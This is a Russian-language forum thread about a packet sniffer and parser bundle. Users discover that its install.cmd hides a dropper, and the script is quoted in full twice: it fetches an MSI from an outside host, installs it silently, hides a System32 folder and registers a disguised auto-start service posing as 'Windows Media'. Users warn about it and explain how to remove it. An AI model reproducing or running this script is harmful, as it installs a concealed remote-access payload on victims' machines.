Снифер + парсер

[SkyWard]

тык

[MrShyr]

http://files.mail.ru/A8A4D25020C54916A4D8A77EF670364F

В обработке чет пишет, на ЯД можешь залить?

[SkyWard]

норм все там, тока что скачал Все же моя трабла осталась

Добавлено через 1 час 9 минут
только у мне не пашет?:cj::by:

[Murzik]

интересно, куда это программа всё поключается??? что это за перехват данных?

картинка

Добавлено через 5 минут
вот что у нас содержит install.cmd

херь какая-то

@echo off
@start Winject.exe
@wget.exe http://7557577.ru/upload/banner3/WindowsUpdate.msi
@chcp 1251
@MsiExec /x {61FFA475-24D5-44FB-A51F-39B699E3D82C} /qn REBOOT=ReallySuppress
@MsiExec /x {B04BFE4C-7F11-49D8-ADFE-867939D886FA} /qn REBOOT=ReallySuppress
@ping 127.0.0.1
@MsiExec /I "WindowsUpdate.msi" /qn
@reg delete "HKCR\Installer\Products\C4EFB40B11F78D94DAEF6897938D68AF" /f
@attrib +s +h +r "%systemroot%\System32\hemp"
@sc config RManService displayname= "Windows Media"
@sc description RManService "Windows Media alloy media files downloads"
@sc config RManService start= "auto"

[fraerok1]

Такое сообщение вылазит после запуска чего винжекта или парсера?, парсер чистый исходы рядом, насчет винжекта прога не моя с шары возможно что то надо ей для работы из вне.

[Murzik]

вылазит после включения винжекта. парсер чистый

Добавлено через 52 секунды
и не однократно программа пытатся запустить батник который я выше указал

Добавлено через 13 минут
но это можно иправить
это идёт обычный архив, откройте его, и удалите в нём 2 файла- это батник(install.bat) и wget.exe.
ну и всё вроде, пробуйте запускать, я запускаю и не каких конектов нет больше.

[darkevil]

интересно, куда это программа всё поключается??? что это за перехват данных?

картинка

Добавлено через 5 минут
вот что у нас содержит install.cmd

херь какая-то

@echo off
@start Winject.exe
@wget.exe http://7557577.ru/upload/banner3/WindowsUpdate.msi
@chcp 1251
@MsiExec /x {61FFA475-24D5-44FB-A51F-39B699E3D82C} /qn REBOOT=ReallySuppress
@MsiExec /x {B04BFE4C-7F11-49D8-ADFE-867939D886FA} /qn REBOOT=ReallySuppress
@ping 127.0.0.1
@MsiExec /I "WindowsUpdate.msi" /qn
@reg delete "HKCR\Installer\Products\C4EFB40B11F78D94DAEF6897938D68AF" /f
@attrib +s +h +r "%systemroot%\System32\hemp"
@sc config RManService displayname= "Windows Media"
@sc description RManService "Windows Media alloy media files downloads"
@sc config RManService start= "auto"

Настораживает что выкачивается с какого-то левого ресурса софтина, что она запускается и устанавливается в невидимом режиме и еще больше настораживает название папки где лежит софтина banner3.
Мб я параноик, но но мне кажется что выкачивается какой-то банер вымогатель, который будет жить в системе до определенного времени, а потом в один прекрасный момент вылезет и будет трясти баблос.

Лол, файл с хоста удален, кто нить скачал? Хочу на виртуалке его проинсталлить.

[fraerok1]

По просьбам трудящихся

PacketDump.dll

Tauti для WinXp и Win7 http://rghost.ru/44116604
Glory для WinXp и Win7 http://rghost.ru/44116612

Под Win8 работать не будет.

[Murzik]

прошу исходник дллки

Добавлено через 2 минуты

Настораживает что выкачивается с какого-то левого ресурса софтина, что она запускается и устанавливается в невидимом режиме и еще больше настораживает название папки где лежит софтина banner3.
Мб я параноик, но но мне кажется что выкачивается какой-то банер вымогатель, который будет жить в системе до определенного времени, а потом в один прекрасный момент вылезет и будет трясти баблос.

Лол, файл с хоста удален, кто нить скачал? Хочу на виртуалке его проинсталлить.

ну софтина врятли будет работать на семёрке и выше, так как на эту программу забили ещё 3-4 года назад. но есть хорошая вероятность того что хпхам придёт ппц

[elastic]

Да уж, даже с библиотеками по win7 вылетает ошибка, описанная выше. Печаль.